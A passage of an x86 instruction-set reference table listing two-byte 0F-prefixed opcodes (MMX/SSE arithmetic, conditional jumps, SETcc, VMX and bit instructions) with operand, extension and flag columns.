66| 0F| 75| | | r| | | | | | PCMPEQW| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Data for Equal  
| 0F| 76| | | r| | | | | | PCMPEQD| **Pq**|  Qq| | | mmx| compar| | | | | | | | Compare Packed Data for Equal  
66| 0F| 76| | | r| | | | | | PCMPEQD| **Vdq**|  Wdq| | | sse2| simdint|  compar| | | | | | | Compare Packed Data for Equal  
| 0F| 77| | | | | | | | | EMMS| | | | | mmx| x87fpu|  control| | | | | | | Empty MMX Technology State  
| 0F| 78| | | r| | D33 | E| 0| | VMREAD| **Eq**|  Gq| | | vmx| | | | | o..szapc| o..szapc| | | Read Field from Virtual-Machine Control Structure  
| 0F| 79| | | r| | D33 | E| 0| | VMWRITE| Gq| Eq| | | vmx| | | | | o..szapc| o..szapc| | | Write Field to Virtual-Machine Control Structure  
66| 0F| 7C| | | r| | | | | | HADDPD| **Vpd**|  Wpd| | | sse3| simdfp|  arith| | | | | | | Packed Double-FP Horizontal Add  
F2| 0F| 7C| | | r| | | | | | HADDPS| **Vps**|  Wps| | | sse3| simdfp|  arith| | | | | | | Packed Single-FP Horizontal Add  
66| 0F| 7D| | | r| | | | | | HSUBPD| **Vpd**|  Wpd| | | sse3| simdfp|  arith| | | | | | | Packed Double-FP Horizontal Subtract  
F2| 0F| 7D| | | r| | | | | | HSUBPS| **Vps**|  Wps| | | sse3| simdfp|  arith| | | | | | | Packed Single-FP Horizontal Subtract  
| 0F| 7E| | | r| | D22 | E| | | MOVD| **Ed**|  Pq| | | mmx| datamov| | | | | | | | Move Doubleword/Quadword  
MOVQ| **Eqp**|  Pq| |   
66| 0F| 7E| | | r| | D22 | E| | | MOVD| **Ed**|  Vdq| | | sse2| simdint|  datamov| | | | | | | Move Doubleword/Quadword  
MOVQ| **Eqp**|  Edq | |   
F3| 0F| 7E| | | r| | | | | | MOVQ| **Vq**|  Wq| | | sse2| simdint|  datamov| | | | | | | Move Quadword  
| 0F| 7F| | | r| | | | | | MOVQ| **Qq**|  Pq| | | mmx| datamov| | | | | | | | Move Quadword  
66| 0F| 7F| | | r| | | | | | MOVDQA| **Wdq**|  Vdq| | | sse2| simdint|  datamov| | | | | | | Move Aligned Double Quadword  
F3| 0F| 7F| | | r| | | | | | MOVDQU| **Wdq**|  Vdq| | | sse2| simdint|  datamov| | | | | | | Move Unaligned Double Quadword  
| 0F| 80| | tttn| | | D32 | | | | JO| Jvds| | | | | gen|  branch| cond| o.......| | | | | Jump short if overflow \(OF=1\)  
| 0F| 81| | tttN| | | D32 | | | | JNO| Jvds| | | | | gen|  branch| cond| o.......| | | | | Jump short if not overflow \(OF=0\)  
| 0F| 82| | ttTn| | | D32 | | | | JB| Jvds| | | | | gen|  branch| cond| .......c| | | | | Jump short if below/not above or equal/carry \(CF=1\)  
JNAE| Jvds| | |   
JC| Jvds| | |   
| 0F| 83| | ttTN| | | D32 | | | | JNB| Jvds| | | | | gen|  branch| cond| .......c| | | | | Jump short if not below/above or equal/not carry \(CF=0\)  
JAE| Jvds| | |   
JNC| Jvds| | |   
| 0F| 84| | tTtn| | | D32 | | | | JZ| Jvds| | | | | gen|  branch| cond| ....z...| | | | | Jump short if zero/equal \(ZF=0\)  
JE| Jvds| | |   
| 0F| 85| | tTtN| | | D32 | | | | JNZ| Jvds| | | | | gen|  branch| cond| ....z...| | | | | Jump short if not zero/not equal \(ZF=1\)  
JNE| Jvds| | |   
| 0F| 86| | tTTn| | | D32 | | | | JBE| Jvds| | | | | gen|  branch| cond| ....z..c| | | | | Jump short if below or equal/not above \(CF=1 AND ZF=1\)  
JNA| Jvds| | |   
| 0F| 87| | tTTN| | | D32 | | | | JNBE| Jvds| | | | | gen|  branch| cond| ....z..c| | | | | Jump short if not below or equal/above \(CF=0 AND ZF=0\)  
JA| Jvds| | |   
| 0F| 88| | Tttn| | | D32 | | | | JS| Jvds| | | | | gen|  branch| cond| ...s....| | | | | Jump short if sign \(SF=1\)  
| 0F| 89| | TttN| | | D32 | | | | JNS| Jvds| | | | | gen|  branch| cond| ...s....| | | | | Jump short if not sign \(SF=0\)  
| 0F| 8A| | TtTn| | | D32 | | | | JP| Jvds| | | | | gen|  branch| cond| ......p.| | | | | Jump short if parity/parity even \(PF=1\)  
JPE| Jvds| | |   
| 0F| 8B| | TtTN| | | D32 | | | | JNP| Jvds| | | | | gen|  branch| cond| ......p.| | | | | Jump short if not parity/parity odd  
JPO| Jvds| | |   
| 0F| 8C| | TTtn| | | D32 | | | | JL| Jvds| | | | | gen|  branch| cond| o..s....| | | | | Jump short if less/not greater \(SF\!=OF\)  
JNGE| Jvds| | |   
| 0F| 8D| | TTtN| | | D32 | | | | JNL| Jvds| | | | | gen|  branch| cond| o..s....| | | | | Jump short if not less/greater or equal \(SF=OF\)  
JGE| Jvds| | |   
| 0F| 8E| | TTTn| | | D32 | | | | JLE| Jvds| | | | | gen|  branch| cond| o..sz...| | | | | Jump short if less or equal/not greater \(\(ZF=1\) OR \(SF\!=OF\)\)  
JNG| Jvds| | |   
| 0F| 8F| | TTTN| | | D32 | | | | JNLE| Jvds| | | | | gen|  branch| cond| o..sz...| | | | | Jump short if not less nor equal/greater \(\(ZF=0\) AND \(SF=OF\)\)  
JG| Jvds| | |   
| 0F| 90| | tttn| 0| | D24 | | | | SETO| **Eb**| | | | |  gen|  datamov| | o.......| | | | | Set Byte on Condition - overflow \(OF=1\)  
| 0F| 91| | tttN| 0| | D24 | | | | SETNO| **Eb**| | | | |  gen|  datamov| | o.......| | | | | Set Byte on Condition - not overflow \(OF=0\)  
| 0F| 92| | ttTn| 0| | D24 | | | | SETB| **Eb**| | | | |  gen|  datamov| | .......c| | | | | Set Byte on Condition - below/not above or equal/carry \(CF=1\)  
SETNAE| **Eb**| | |   
SETC| **Eb**| | |   
|  0F| 93| | ttTN| 0| | D24 | | | | SETNB| **Eb**| | | | |  gen|  datamov| | .......c| | | | | Set Byte on Condition - not below/above or equal/not carry \(CF=0\)  
SETAE| **Eb**| | |   
SETNC| **Eb**| | |   
|  0F| 94| | tTtn| 0| | D24 | | | | SETZ| **Eb**| | | | |  gen|  datamov| | ....z...| | | | | Set Byte on Condition - zero/equal \(ZF=0\)  
SETE| **Eb**| | |   
|  0F| 95| | tTtN| 0| | D24 | | | | SETNZ| **Eb**| | | | |  gen|  datamov| | ....z...| | | | | Set Byte on Condition - not zero/not equal \(ZF=1\)  
SETNE| **Eb**| | |   
|  0F| 96| | tTTn| 0| | D24 | | | | SETBE| **Eb**| | | | |  gen|  datamov| | ....z..c| | | | | Set Byte on Condition - below or equal/not above \(CF=1 AND ZF=1\)  
SETNA| **Eb**| | |   
|  0F| 97| | tTTN| 0| | D24 | | | | SETNBE| **Eb**| | | | |  gen|  datamov| | ....z..c| | | | | Set Byte on Condition - not below or equal/above \(CF=0 AND ZF=0\)  
SETA| **Eb**| | |   
|  0F| 98| | Tttn| 0| | D24 | | | | SETS| **Eb**| | | | |  gen|  datamov| | ...s....| | | | | Set Byte on Condition - sign \(SF=1\)  
| 0F| 99| | TttN| 0| | D24 | | | | SETNS| **Eb**| | | | |  gen|  datamov| | ...s....| | | | | Set Byte on Condition - not sign \(SF=0\)  
| 0F| 9A| | TtTn| 0| | D24 | | | | SETP| **Eb**| | | | |  gen|  datamov| | ......p.| | | | | Set Byte on Condition - parity/parity even \(PF=1\)  
SETPE| **Eb**| | |   
|  0F| 9B| | TtTN| 0| | D24 | | | | SETNP| **Eb**| | | | |  gen|  datamov| | ......p.| | | | | Set Byte on Condition - not parity/parity odd  
SETPO| **Eb**| | |   
|  0F| 9C| | TTtn| 0| | D24 | | | | SETL| **Eb**| | | | |  gen|  datamov| | o..s....| | | | | Set Byte on Condition - less/not greater \(SF\!=OF\)  
SETNGE| **Eb**| | |   
|  0F| 9D| | TTtN| 0| | D24 | | | | SETNL| **Eb**| | | | |  gen|  datamov| | o..s....| | | | | Set Byte on Condition - not less/greater or equal \(SF=OF\)  
SETGE| **Eb**| | |   
|  0F| 9E| | TTTn| 0| | D24 | | | | SETLE| **Eb**| | | | |  gen|  datamov| | o..sz...| | | | | Set Byte on Condition - less or equal/not greater \(\(ZF=1\) OR \(SF\!=OF\)\)  
SETNG| **Eb**| | |   
|  0F| 9F| | TTTN| 0| | D24 | | | | SETNLE| **Eb**| | | | |  gen|  datamov| | o..sz...| | | | | Set Byte on Condition - not less nor equal/greater \(\(ZF=0\) AND \(SF=OF\)\)  
SETG| **Eb**| | |   
|  0F| A0| | Sre| | | | | | | PUSH| FS| | | | | gen|  stack segreg| | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| 0F| A1| | Sre| | | | | | | POP| **FS**| | | | |  gen|  stack segreg| | | | | | Pop a Value from the Stack  
| 0F| A2| | | | | | | | | CPUID| ** _I..._**| **_EAX_**| ** _ECX_**| ...| | gen|  control| | | | | | | CPU Identification  
| 0F| A3| | | r| | | | | | BT| Evqp| Gvqp| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test  
| 0F| A4| | d| r| | | | | | SHLD| **Evqp**|  Gvqp| Ib| | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Double Precision Shift Left  
| 0F| A5| | d| r| | | | | | SHLD| **Evqp**|  Gvqp| CL| | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Double Precision Shift Left  
| 0F| A8| | SrE| | | | | | | PUSH| GS| | | | | gen|  stack segreg| | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| 0F| A9| | SrE| | | | | | | POP| **GS**| | | | |  gen|  stack segreg| | | | | | Pop a Value from the Stack  
| 0F| AA| | | | | | S| | | RSM| ** _Fw_**| | | | |  system|  branch| | | | | | | Resume from System Management Mode  
| 0F| AB| | | r| | | | | L| BTS| **Evqp**|  Gvqp| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Set  
| 0F| AC| | d| r| | | | | | SHRD| **Evqp**|  Gvqp| Ib| | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Double Precision Shift Right  
| 0F| AD| | d| r| | | | | | SHRD| **Evqp**|  Gvqp| CL| | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Double Precision Shift Right  
| 0F| AE| | | 0| | | | | | FXSAVE| **Mstx**|  _ST_|  _ST1_| ...| | sm| | | | | | | | Save x87 FPU, MMX, XMM, and MXCSR State  
| 0F| AE| | | 0| | | E| | | FXSAVE| **Mstx**|  _ST_|  _ST1_| ...| | sm| | | | | | | | Save x87 FPU, MMX, XMM, and MXCSR State  
| 0F| AE| | | 1| | | | | | FXRSTOR| ** _ST_**| ** _ST1_**| ** _ST2_**| ...| | sm| | | | | | | | Restore x87 FPU, MMX, XMM, and MXCSR State  
| 0F| AE| | | 1| | | E| | | FXRSTOR| ** _ST_**| ** _ST1_**| ** _ST2_**| ...| | sm| | | | | | | | Restore x87 FPU, MMX, XMM, and MXCSR State  
| 0F| AE| | | 2| | | | | | LDMXCSR| Md| | | | sse1| mxcsrsm| | | | | | | | Load MXCSR Register  
| 0F| AE| | | 3| | | | | | STMXCSR| **Md**| | | |  sse1| mxcsrsm| | | | | | | | Store MXCSR Register State  
| 0F| AE| | | 4| C2++| | | | | XSAVE| **M**|  _EDX_|  _EAX_| ...| | system| | | | | | | | Save Processor Extended States  
| 0F| AE| | | 4| C2++| | E| | | XSAVE| **M**|  _EDX_|  _EAX_| ...| | system| | | | | | | | Save Processor Extended States  
| 0F| AE| | | 5| | | | | | LFENCE| | | | | sse2| order| | | | | | | | Load Fence  
| 0F| AE| | | 5| C2++| | E| | | XRSTOR| ** _ST_**| ** _ST1_**| ** _ST2_**| ...| | system| | | | | | | | Restore Processor Extended States  
| 0F| AE| | | 6| | | | | | MFENCE| | | | | sse2| order| | | | | | | | Memory Fence  
| 0F| AE| | | 7| | | | | | SFENCE| | | | | sse1| order| | | | | | | | Store Fence  
| 0F| AE| | | 7| | | | | | CLFLUSH| Mb| | | | sse2| cachect| | | | | | | | Flush Cache Line  
| 0F| AF| | DW| r| | | | | | IMUL| **Gvqp**|  Evqp| | | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Signed Multiply  
| 0F| B0| | dw| r| | D25 | | | L| CMPXCHG| **Eb**| ** _AL_**|  Gb| | | gen|  datamov arith| binary| | o..szapc| o..szapc| | | Compare and Exchange  
| 0F| B1| | dW| r| | D25 | | | L| CMPXCHG| **Evqp**| ** _rAX_**|  Gvqp| | | gen|  datamov arith| binary| | o..szapc| o..szapc| | | Compare and Exchange  
| 0F| B2| | sRe| r| | D26 | | | | LSS| ** _SS_**| **Gvqp**|  Mptp| | | gen|  datamov segreg| | | | | | Load Far Pointer  
| 0F| B3| | | r| | | | | L| BTR| **Evqp**|  Gvqp| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Reset  
| 0F| B4| | Sre| r| | D26 | | | | LFS| ** _FS_**| **Gvqp**|  Mptp| | | gen|  datamov segreg| | | | | | Load Far Pointer  
| 0F| B5| | SrE| r| | D26 | | | | LGS| ** _GS_**| **Gvqp**|  Mptp| | | gen|  datamov segreg| | | | | | Load Far Pointer  
| 0F| B6| | Dw| r| | | | | | MOVZX| **Gvqp**|  Eb| | | | gen|  conver| | | | | | | Move with Zero-Extend  
| 0F| B7| | DW| r| | | | | | MOVZX| **Gvqp**|  Ew| | | | gen|  conver| | | | | | | Move with Zero-Extend  
| 0F| B8| | | | IT+| | | | | JMPE| | | | | | system|  branch| | | | | | | Jump to IA-64 Instruction Set  
F3| 0F| B8| | | r| C2++| | | | | POPCNT| **Gvqp**|  Evqp| | | | gen|  bit| | | o..szapc| | | o..s.apc| Bit Population Count  
| 0F| B9| | | r| | M27 | | | | _UD_|  G| E| | | | gen|  control| | | | | | | Undefined Instruction  
| 0F| BA| | | 4| | | | | | BT| Evqp| Ib| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test  
| 0F| BA| | | 5| | | | | L| BTS| **Evqp**|  Ib| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Set  
| 0F| BA| | | 6| | | | | L| BTR| **Evqp**|  Ib| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Reset  
| 0F| BA| | | 7| | | | | L| BTC| **Evqp**|  Ib| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Complement  
| 0F| BB| | | r| | | | | L| BTC| **Evqp**|  Gvqp| | | | gen|  bit| | | o..szapc| .......c| o..szap.| | Bit Test and Complement  
| 0F| BC| | | r| | D28 | | | | BSF| **Gvqp**|  Evqp| | | | gen|  bit| | | o..szapc| ....z...| o..s.apc| | Bit Scan Forward  
| 0F| BD| | | r| | D28 | | | | BSR| **Gvqp**|  Evqp| | | | gen|  bit| | | o..szapc| ....z...| o..s.apc| | Bit Scan Reverse  
| 0F| BE| | Dw| r| | | | | | MOVSX| **Gvqp**|  Eb| | | | gen|  conver| | | | | | | Move with Sign-Extension  
| 0F| BF| | DW| r| | | | | | MOVSX| **Gvqp**|  Ew| | | | gen|  conver| | | | | | | Move with Sign-Extension  
| 0F| C0| | dw| r| | | | | L| XADD| **Eb**| **Gb**| | | |  gen|  datamov arith| binary| | o..szapc| o..szapc| | | Exchange and Add  
| 0F| C1| | dW| r| | | | | L| XADD| **Evqp**| **Gvqp**| | | |  gen|  datamov arith| binary| | o..szapc| o..szapc| | | Exchange and Add  
| 0F| C2| | | r| | | | | | CMPPS| **Vps**|  Wps| Ib| | sse1| simdfp|  compar| | | | | | | Compare Packed Single-FP Values  
F3| 0F| C2| | | r| | | | | | CMPSS| **Vss**|  Wss| Ib| | sse1| simdfp|  compar| | | | | | | Compare Scalar Single-FP Values  
66| 0F| C2| | | r| | | | | | CMPPD| **Vpd**|  Wpd| Ib| | sse2| pcksclr|  compar| | | | | | | Compare Packed Double-FP Values  
F2| 0F| C2| | | r| | | | | | CMPSD| **Vsd**|  Wsd| Ib| | sse2| pcksclr|  compar| | | | | | | Compare Scalar Double-FP Values  
| 0F| C3| | | r| | | | | | MOVNTI| **Mdqp**|  Gdqp| | | sse2| cachect| | | | | | | | Store Doubleword Using Non-Temporal Hint  
| 0F| C4| | | r| | | | | | PINSRW| **Pq**|  Rdqp| Ib| | sse1| simdint| | | | | | | | Insert Word  
PINSRW| **Pq**|  Mw| Ib|  
66| 0F| C4| | | r| | | | | | PINSRW| **Vdq**|  Rdqp| Ib| | sse1| simdint| | | | | | | | Insert Word  
PINSRW| **Vdq**|  Mw| Ib|  
| 0F| C5| | | r| | | | | | PEXTRW| **Gdqp**|  Nq| Ib| | sse1| simdint| | | | | | | | Extract Word  
66| 0F| C5| | | r| | | | | | PEXTRW| **Gdqp**|  Udq| Ib| | sse1| simdint| | | | | | | | Extract Word  
| 0F| C6| | | r| | | | | | SHUFPS| **Vps**|  Wps| Ib| | sse1| simdfp|  shunpck| | | | | | | Shuffle Packed Single-FP Values  
66| 0F| C6| | | r| | | | | | SHUFPD| **Vpd**|  Wpd| Ib| | sse2| pcksclr|  shunpck| | | | | | | Shuffle Packed Double-FP Values  
| 0F| C7| | | 1| | D29 | | | L| CMPXCHG8B| **Mq**| ** _EAX_**| ** _EDX_**| ...| | gen|  datamov arith| binary| | ....z...| ....z...| | | Compare and Exchange Bytes  
| 0F| C7| | | 1| | D29 | E| | L| CMPXCHG8B| **Mq**| ** _EAX_**| ** _EDX_**| ...| | gen|  datamov arith| binary| | ....z...| ....z...| | | Compare and Exchange Bytes  
CMPXCHG16B| **Mdq**| ** _RAX_**| ** _RDX_**| ...  
| 0F| C7| | | 6| | D33 | P| 0| | VMPTRLD| Mq| | | | vmx| | | | | o..szapc| o..szapc| | | Load Pointer to Virtual-Machine Control Structure  
66| 0F| C7| | | 6| | D33 | P| 0| | VMCLEAR| **Mq**| | | |  vmx| | | | | o..szapc| o..szapc| | | Clear Virtual-Machine Control Structure  
F3| 0F| C7| | | 6| | D33 | P| 0| | VMXON| Mq| | | | vmx| | | | | o..szapc| o..szapc| | | Enter VMX Operation  
| 0F| C7| | | 7| | D33 | P| 0| | VMPTRST| **Mq**| | | |  vmx| | | | | o..szapc| o..szapc| | | Store Pointer to Virtual-Machine Control Structure  
| 0F| C8| | +r| | | D30 | | | | BSWAP| **Zvqp**| | | | |  gen|  datamov| | | | | | | Byte Swap  
66| 0F| D0| | | r| | | | | | ADDSUBPD| **Vpd**|  Wpd| | | sse3| simdfp|  arith| | | | | | | Packed Double-FP Add/Subtract  
F2| 0F| D0| | | r| | | | | | ADDSUBPS| **Vps**|  Wps| | | sse3| simdfp|  arith| | | | | | | Packed Single-FP Add/Subtract  
| 0F| D1| | | r| | | | | | PSRLW| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| D1| | | r| | | | | | PSRLW| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Right Logical  
| 0F| D2| | | r| | | | | | PSRLD| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| D2| | | r| | | | | | PSRLD| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Right Logical  
| 0F| D3| | | r| | | | | | PSRLQ| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Right Logical  
66| 0F| D3| | | r| | | | | | PSRLQ| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Right Logical  
| 0F| D4| | | r| | | | | | PADDQ| **Pq**|  Qq| | | sse2| simdint|  arith| | | | | | | Add Packed Quadword Integers  
66| 0F| D4| | | r| | | | | | PADDQ| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Quadword Integers  
| 0F| D5| | | r| | | | | | PMULLW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Multiply Packed Signed Integers and Store Low Result  
66| 0F| D5| | | r| | | | | | PMULLW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Multiply Packed Signed Integers and Store Low Result  
66| 0F| D6| | | r| | | | | | MOVQ| **Wq**|  Vq| | | sse2| simdint|  datamov| | | | | | | Move Quadword  
F3| 0F| D6| | | r| | | | | | MOVQ2DQ| **Vdq**|  Nq| | | sse2| simdint|  datamov| | | | | | | Move Quadword from MMX Technology to XMM Register  
F2| 0F| D6| | | r| | | | | | MOVDQ2Q| **Pq**|  Uq| | | sse2| simdint|  datamov| | | | | | | Move Quadword from XMM to MMX Technology Register  
| 0F| D7| | | r| | | | | | PMOVMSKB| **Gdqp**|  Nq| | | sse1| simdint| | | | | | | | Move Byte Mask  
66| 0F| D7| | | r| | | | | | PMOVMSKB| **Gdqp**|  Udq| | | sse1| simdint| | | | | | | | Move Byte Mask  
| 0F| D8| | | r| | | | | | PSUBUSB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Unsigned Integers with Unsigned Saturation  
66| 0F| D8| | | r| | | | | | PSUBUSB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Unsigned Integers with Unsigned Saturation  
| 0F| D9| | | r| | | | | | PSUBUSW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Unsigned Integers with Unsigned Saturation  
66| 0F| D9| | | r| | | | | | PSUBUSW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Unsigned Integers with Unsigned Saturation  
| 0F| DA| | | r| | | | | | PMINUB| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Minimum of Packed Unsigned Byte Integers  
66| 0F| DA| | | r| | | | | | PMINUB| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Minimum of Packed Unsigned Byte Integers  
| 0F| DB| | | r| | | | | | PAND| **Pq**|  Qd| | | mmx| logical| | | | | | | | Logical AND  
66| 0F| DB| | | r| | | | | | PAND| **Vdq**|  Wdq| | | sse2| simdint|  logical| | | | | | | Logical AND  
| 0F| DC| | | r| | | | | | PADDUSB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Unsigned Integers with Unsigned Saturation  
66| 0F| DC| | | r| | | | | | PADDUSB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Unsigned Integers with Unsigned Saturation  
| 0F| DD| | | r| | | | | | PADDUSW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Unsigned Integers with Unsigned Saturation  
66| 0F| DD| | | r| | | | | | PADDUSW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Unsigned Integers with Unsigned Saturation  
| 0F| DE| | | r| | | | | | PMAXUB| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Maximum of Packed Unsigned Byte Integers  
66| 0F| DE| | | r| | | | | | PMAXUB| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Maximum of Packed Unsigned Byte Integers  
| 0F| DF| | | r| | | | | | PANDN| **Pq**|  Qq| | | mmx| logical| | | | | | | | Logical AND NOT  
66| 0F| DF| | | r| | | | | | PANDN| **Vdq**|  Wdq| | | sse2| simdint|  logical| | | | | | | Logical AND NOT  
| 0F| E0| | | r| | | | | | PAVGB| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Average Packed Integers  
66| 0F| E0| | | r| | | | | | PAVGB| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Average Packed Integers  
| 0F| E1| | | r| | | | | | PSRAW| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Right Arithmetic  
66| 0F| E1| | | r| | | | | | PSRAW| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Right Arithmetic  
| 0F| E2| | | r| | | | | | PSRAD| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Right Arithmetic  
66| 0F| E2| | | r| | | | | | PSRAD| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Right Arithmetic  
| 0F| E3| | | r| | | | | | PAVGW| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Average Packed Integers  
66| 0F| E3| | | r| | | | | | PAVGW| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Average Packed Integers  
| 0F| E4| | | r| | | | | | PMULHUW| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Multiply Packed Unsigned Integers and Store High Result  
66| 0F| E4| | | r| | | | | | PMULHUW| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Multiply Packed Unsigned Integers and Store High Result  
| 0F| E5| | | r| | | | | | PMULHW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Multiply Packed Signed Integers and Store High Result  
66| 0F| E5| | | r| | | | | | PMULHW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Multiply Packed Signed Integers and Store High Result  
F2| 0F| E6| | | r| | | | | | CVTPD2DQ| **Vdq**|  Wpd| | | sse2| pcksclr|  conver| | | | | | | Convert Packed Double-FP Values to DW Integers  
66| 0F| E6| | | r| | | | | | CVTTPD2DQ| **Vdq**|  Wpd| | | sse2| pcksclr|  conver| | | | | | | Convert with Trunc. Packed Double-FP Values to DW Integers  
F3| 0F| E6| | | r| | | | | | CVTDQ2PD| **Vpd**|  Wdq| | | sse2| pcksclr|  conver| | | | | | | Convert Packed DW Integers to Double-FP Values  
| 0F| E7| | | r| | | | | | MOVNTQ| **Mq**|  Pq| | | sse1| cachect| | | | | | | | Store of Quadword Using Non-Temporal Hint  
66| 0F| E7| | | r| | | | | | MOVNTDQ| **Mdq**|  Vdq| | | sse2| cachect| | | | | | | | Store Double Quadword Using Non-Temporal Hint  
| 0F| E8| | | r| | | | | | PSUBSB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Signed Integers with Signed Saturation  
66| 0F| E8| | | r| | | | | | PSUBSB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Signed Integers with Signed Saturation  
| 0F| E9| | | r| | | | | | PSUBSW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Signed Integers with Signed Saturation  
66| 0F| E9| | | r| | | | | | PSUBSW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Signed Integers with Signed Saturation  
| 0F| EA| | | r| | | | | | PMINSW| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Minimum of Packed Signed Word Integers  
66| 0F| EA| | | r| | | | | | PMINSW| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Minimum of Packed Signed Word Integers  
| 0F| EB| | | r| | | | | | POR| **Pq**|  Qq| | | mmx| logical| | | | | | | | Bitwise Logical OR  
66| 0F| EB| | | r| | | | | | POR| **Vdq**|  Wdq| | | sse2| simdint|  logical| | | | | | | Bitwise Logical OR  
| 0F| EC| | | r| | | | | | PADDSB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Signed Integers with Signed Saturation  
66| 0F| EC| | | r| | | | | | PADDSB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Signed Integers with Signed Saturation  
| 0F| ED| | | r| | | | | | PADDSW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Signed Integers with Signed Saturation  
66| 0F| ED| | | r| | | | | | PADDSW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Signed Integers with Signed Saturation  
| 0F| EE| | | r| | | | | | PMAXSW| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Maximum of Packed Signed Word Integers  
66| 0F| EE| | | r| | | | | | PMAXSW| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Maximum of Packed Signed Word Integers  
| 0F| EF| | | r| | | | | | PXOR| **Pq**|  Qq| | | mmx| logical| | | | | | | | Logical Exclusive OR  
66| 0F| EF| | | r| | | | | | PXOR| **Vdq**|  Wdq| | | sse2| simdint|  logical| | | | | | | Logical Exclusive OR  
F2| 0F| F0| | | r| | | | | | LDDQU| **Vdq**|  Mdq| | | sse3| cachect| | | | | | | | Load Unaligned Integer 128 Bits  
| 0F| F1| | | r| | | | | | PSLLW| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| F1| | | r| | | | | | PSLLW| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Left Logical  
| 0F| F2| | | r| | | | | | PSLLD| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| F2| | | r| | | | | | PSLLD| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Left Logical  
| 0F| F3| | | r| | | | | | PSLLQ| **Pq**|  Qq| | | mmx| shift| | | | | | | | Shift Packed Data Left Logical  
66| 0F| F3| | | r| | | | | | PSLLQ| **Vdq**|  Wdq| | | sse2| simdint|  shift| | | | | | | Shift Packed Data Left Logical  
| 0F| F4| | | r| | | | | | PMULUDQ| **Pq**|  Qq| | | sse2| simdint|  arith| | | | | | | Multiply Packed Unsigned DW Integers  
66| 0F| F4| | | r| | | | | | PMULUDQ| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Multiply Packed Unsigned DW Integers  
| 0F| F5| | | r| | | | | | PMADDWD| **Pq**|  Qd| | | mmx| arith| | | | | | | | Multiply and Add Packed Integers  
66| 0F| F5| | | r| | | | | | PMADDWD| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Multiply and Add Packed Integers  
| 0F| F6| | | r| | | | | | PSADBW| **Pq**|  Qq| | | sse1| simdint| | | | | | | | Compute Sum of Absolute Differences  
66| 0F| F6| | | r| | | | | | PSADBW| **Vdq**|  Wdq| | | sse1| simdint| | | | | | | | Compute Sum of Absolute Differences  
